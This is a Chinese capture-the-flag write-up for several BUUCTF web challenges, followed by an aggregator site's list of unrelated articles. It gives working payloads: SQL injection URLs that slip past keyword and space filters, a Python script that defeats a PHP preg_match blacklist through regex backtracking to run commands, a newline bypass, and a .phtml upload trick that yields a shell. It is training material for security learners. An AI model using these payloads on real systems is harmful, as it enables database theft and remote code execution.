CTF刷题buuctf

news2024/12/28 23:43:58

[WUSTCTF2020]颜值成绩查询

拿到相关题目,其实根据功能和参数分析。需要传入一个学号然后进行针对于对应的学号进行一个查询,很可能就会存在sql注入。

其实这道题最难的点,在于过滤了空格,因此我们使用

/**/

来过滤空格的限制。
相关payload

?stunum=1/**/and/**/1=1--+
?stunum=1/**/and/**/1=2--+

我们采用and方式可以根据页面的返回结果判断成功或者失败,典型的一个布尔盲注。
我习惯采用bp 进行盲注。

[FBCTF2019]RCEService

rce的点,进入之后先针对于提示将get参数传递为json格式

?cmd={"cmd":"ls"}

第一次见识到通过get传递json格式的参数。我们可以得到回显index.php
{%0a"cmd":“ls /home/rceservice”}
题目有源码

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
    $json = $_REQUEST['cmd'];

    if (!is_string($json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } else {
        echo 'Attempting to run command:<br/>';
        $cmd = json_decode($json, true)['cmd'];
        if ($cmd !== NULL) {
            system($cmd);
        } else {
            echo 'Invalid input';
        }
        echo '<br/><br/>';
    }
}

?>

  1. is_string()
    is_string() 主要用于确保输入是字符串类型,json格式也被当做字符串。
  2. preg_match()
    黑名单,这次过滤的确实很多
  3. json_decode()
    相当于将json格式,解码成一个数组。
  4. putenv() 设置环境变量
    putenv('PATH=/home/rceservice/jail'); 这行代码确实会限制可执行命令的搜索路径
    意味着我们的命令执行会收到限制。因为系统一些命令一般都在/usr/bin下,目前我们搜索不到了。

在大多数类 Unix 系统中,cat 命令的常见路径是 /bin/cat 或者 /usr/bin/cat。具体使用哪个路径,通常取决于系统的配置和不同 Linux 发行版的标准。
也就意味着/bin/cat 更具有兼容性,因此在被限制环境变量时候我们想要使用一些可执行文件,我们就必须要用/bin/cat

  • /bin/cat:这个路径通常包含基本的系统命令,供所有用户使用,且在系统启动时可用。
  • /usr/bin/cat:这个路径通常用于存放用户级的应用程序和命令

通过对于代码的一些分析,可以看到这道题并不是很难,我们唯一的突破点在于preg_match()函数的绕过。而preg_match()函数绕过有三种方式。但是数组因为有一个is_string校验无法使用。

回溯绕过

查看flag的位置过程不做赘述,直接是ls 查看home就可以。

import requests

url='http://5dd96313-13f8-4eb6-89eb-0dbb5a4ba30a.node3.buuoj.cn'
data={
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","123":"'+'b'*1000000+'"}'
}
# 由于我们是把json解码成为数组,因此可以看到我们需要保留cmd方便读取,我们另外在加一个123来增加长度。
r=requests.post(url=url,data=data).text
print(r)
%0a

这个其实比较简单,具体不做赘述。

?cmd={%0a"cmd":"/bin/cat%20/home/rceservice/flag"%0a}
[ACTF2## [极客大挑战 2019]BabySQL

1020 新生赛]Upload

测试很多,有前端校验还有后端校验。黑名单
首先出传递1.jpg,之后再bp中改包。然后更改后缀为phtml
访问对应的文件,拿到shell
image.png

[极客大挑战 2019]BabySQL

经过测试用户名和密码处两处都存在注入点。并且通过报错可以看到某些关键字被过滤。其实也就是一些关键字被过滤。我们全部使用双写绕过就可以。所以存在报错注入,布尔盲注,强制报错注入。

http://b1cafe94-d5ee-4133-96ff-e61ebb12b891.node5.buuoj.cn:81/check.php?username=admin&password=a'ororderder bbyy 5--+

http://b1cafe94-d5ee-4133-96ff-e61ebb12b891.node5.buuoj.cn:81/check.php?username=admin'ANANDD Extractvalue(1,concat('~',()))--+&password=a

利用报错注入

# 拿到表
http://5a99abb0-4048-443a-8ea1-c27f867ccd51.node5.buuoj.cn:81/check.php?username=admin&password=a%27uniunionon%20selselectect%201,2,group_concat(table_name)%20FRFROMOM%20infoORrmation_schema.tables%20WHWHEREERE%20table_schema%20=%20%27geek%27--+

b4bsql,geekuse

# 拿到列
http://5a99abb0-4048-443a-8ea1-c27f867ccd51.node5.buuoj.cn:81/check.php?username=admin&password=a%27uniunionon%20selselectect%201,2,group_concat(column_name) FRfromOM infoorrmation_schema.columns WHEwhereRE table_name = 'b4bsql' --+

id username password

http://5a99abb0-4048-443a-8ea1-c27f867ccd51.node5.buuoj.cn:81/check.php?username=admin&password=a%27uniunionon%20selselectect%201,2,group_concat(id,username,passwoorrd) FRfromOM b4bsql --+

直接拿到flag
1cl4yi_want_to_play_2077,2sqlsql_injection_is_so_fun,3porndo_you_know_pornhub,4gitgithub_is_different_from_pornhub,5Stopyou_found_flag_so_stop,6badguyi_told_you_to_stop,7hackerhack_by_cl4y,8flagflag{900b1ab5-4178-41c5-83ba-b3773993ede1}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2186352.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

智能化焊接数据管理系统:系统功能设计与应用场景,OEM定制

在快速发展的工业4.0时代&#xff0c;智能化技术正以前所未有的速度改变着各行各业&#xff0c;其中焊接行业也不例外。随着物联网、大数据、人工智能等技术的不断融合&#xff0c;智能化焊接数据管理系统应运而生&#xff0c;成为提高焊接效率、保障焊接质量、优化生产流程的重…

半监督学习与数据增强(论文复现)

半监督学习与数据增强&#xff08;论文复现&#xff09; 本文所涉及所有资源均在传知代码平台可获取 文章目录 半监督学习与数据增强&#xff08;论文复现&#xff09;概述算法原理核心逻辑效果演示使用方式 概述 本文复现论文提出的半监督学习方法&#xff0c;半监督学习&…

C题(二)字符串转数字 --- atoi

———————————————————**目录**—————————————————— 一、 atoi函数介绍 功能函数原型使用示例 二、题解之一 三、留言 问题引入&#x1f449; 输入样例&#x1f449; 5 01234 00123 00012 00001 00000 输出样例&#x1f449; 1234 123 …

‌文件名称与扩展名:批量重命名的技巧与指南

在日常的文件管理中&#xff0c;我们经常需要处理大量的文件&#xff0c;这些文件可能有着各种各样的名称和扩展名。为了更好地管理和识别这些文件&#xff0c;批量重命名成为了一项非常实用的技能。能够帮助我们快速整理文件&#xff0c;提高工作效率。本文将深入探讨文件名称…

vue2圆形标记(Marker)添加点击事件不弹出信息窗体(InfoWindow)的BUG解决

目录 一、问题详情 二、问题排查 三、解决方案 一、问题详情 地图上面的轨迹点希望能通过点击看到详细的经纬度信息&#xff0c;但是点击的时候就是显示不出来。 二、问题排查 代码都是参考高德的官方文档&#xff0c;初步看没有问题啊&#xff0c;但是点击事件就感觉失效…

10.3今日错题解析(软考)

目录 前言计算机网络——路由配置数据库系统——封锁协议 前言 这是用来记录我备考软考设计师的错题的&#xff0c;今天知识点为路由配置、封锁协议&#xff0c;大部分错题摘自希赛中的题目&#xff0c;但相关解析是原创&#xff0c;有自己的思考&#xff0c;为了复习&#xf…

Pix2Pix实现图像转换

tutorials/application/source_zh_cn/generative/pix2pix.ipynb MindSpore/docs - Gitee.com Pix2Pix概述 Pix2Pix是基于条件生成对抗网络&#xff08;cGAN, Condition Generative Adversarial Networks &#xff09;实现的一种深度学习图像转换模型&#xff0c;该模型是由Ph…

Comparable接口和Comparator接口

前言 Java中基本数据类型可以直接比较大小&#xff0c;但引用类型呢&#xff1f;同时引用对象中可能存在多个可比较的字段&#xff0c;那么我们该怎么比较呢&#xff1f; Java中引用类型不能直接进行大小的比较&#xff0c;这种行为在编译器看来是危险的&#xff0c;所以会编译…

程序员在AI时代的生存指南:打造不可替代的核心竞争力

在这个AI大行其道的时代&#xff0c;似乎每天都有新的语言模型像变魔术一样涌现出来&#xff0c;比如ChatGPT、midjourney、claude等等。这些家伙不仅会聊天&#xff0c;还能帮忙写代码&#xff0c;让程序员们感受到了前所未有的“压力”。我身边的一些程序员朋友开始焦虑&…

SpringCloud入门(十)统一网关Gateway

一、网关的作用 Spring Cloud Gateway 是 Spring Cloud 的一个全新项目&#xff0c;该项目是基于 Spring 5.0&#xff0c;Spring Boot 2.0 和 Project Reactor 等响应式编程和事件流技术开发的网关&#xff0c;它旨在为微服务架构提供一种简单有效的统一的 API 路由管理方式。 …

E. Tree Pruning Codeforces Round 975 (Div. 2)

原题 E. Tree Pruning 解析 本题题意很简单, 思路也很好想到, 假设我们保留第 x 层的树叶, 那么对于深度大于 x 的所有节点都要被剪掉, 而深度小于 x 的节点, 如果没有子节点深度大于等于 x, 那么也要被删掉 在做这道题的时候, 有关于如何找到一个节点它的子节点能通到哪里,…

关于鸿蒙next 调用系统权限麦克风

使用app的时候都清楚&#xff0c;想使用麦克风、摄像头&#xff0c;存储照片等&#xff0c;都需要调用系统的权限&#xff0c;没有手机操作系统权限你也使用不了app所提供的功能&#xff0c;虽然app可以正常打开&#xff0c;但是你需要的功能是没办法使用的。今天把自己在鸿蒙学…

想怎样书写HTML5自结束标签,您随意就好(✪▽✪)

书写后接斜杠还是不接&#xff0c;看过ai给的详细解析就不再迷茫了。 (笔记模板由python脚本于2024年10月03日 10:42:41创建&#xff0c;本篇笔记适合HTML5标签的coder翻阅) 【学习的细节是欢悦的历程】 Python 官网&#xff1a;https://www.python.org/ Free&#xff1a;大咖…

【数据库差异研究】update与delete使用表别名的研究

目录 ⚛️总结 ☪️1 Update ♋1.1 测试用例UPDATE users as a SET a.age 111 WHERE a.name Alice; ♏1.2 测试用例UPDATE users as a SET a.age 111 WHERE name Alice; ♐1.3 测试用例UPDATE users as a SET age 111 WHERE a.name Alice; ♑1.4 测试用例UPDATE us…

TIM“PWM”输出比较原理解析

PWM最重要的就是占空比&#xff0c;所有都是在为占空比服务&#xff0c;通过设置不同的占空比&#xff0c;产生不同的电压&#xff0c;产生不同的效果 定时器的输出通道 基本定时器&#xff1a; 基本定时器没有通道 通用定时器&#xff1a; 4个通道&#xff08;CH1, CH2, C…

Python性能优化:实战技巧与最佳实践

Python性能优化&#xff1a;实战技巧与最佳实践 Python 作为一种动态解释型语言&#xff0c;虽然以其简洁和易用性闻名&#xff0c;但在性能方面可能不如静态编译型语言如 C 和 Java 高效。为了在高性能要求的应用场景下更好地利用 Python&#xff0c;我们需要掌握一些常见的优…

STM32GPIO输入和输出

一、先看IO端口位的结构 上面部分是输入&#xff0c;下面是输出。 1、I/O输入&#xff1a; 首先&#xff0c;从I/O引脚开始&#xff0c;有两个保护二极管&#xff0c;主要作用是对输入电压限幅&#xff0c;保护内部电路。上面二极管接VDD为3.3V,下面二极管接VSS为0V。当输入电…

认知杂谈71《创业抉择:定制化与标准化的权衡之路》

内容摘要&#xff1a; *嘿&#xff0c;彦祖们&#xff01;今天来聊聊创业的事&#xff0c;创业选产品类型很关键。定制化产品如魔法&#xff0c;贴合客户需求但成本高且有边际递减风险。要掌握物联网技术&#xff0c;用 3D 建模软件&#xff0c;参考特定书籍&#xff0c;参加展…

在线JSON可视化工具--支持缩放

先前文章提到的超好用的JSON可视化工具&#xff0c;收到反馈&#xff0c;觉得工具好用&#xff0c;唯一不足就是不能缩放视图&#xff0c;其实是支持的&#xff0c;因为滚轮有可能是往下滚动&#xff0c;会与缩放冲突&#xff0c;所以这个工具设计为需要双击视图来触发打开缩放…

C++ 线性表、内存操作、 迭代器,数据与算法分离。

线性表&#xff1a; 线性表是最基本、最简单、也是最常用的一种数据结构。线性表&#xff08;linear list&#xff09;是数据结构的 一种&#xff0c;一个线性表是n个具有相同特性的数据元素的有限序列。 线性表中数据元素之间的关系是一对一的关系&#xff0c;即除了第一个和…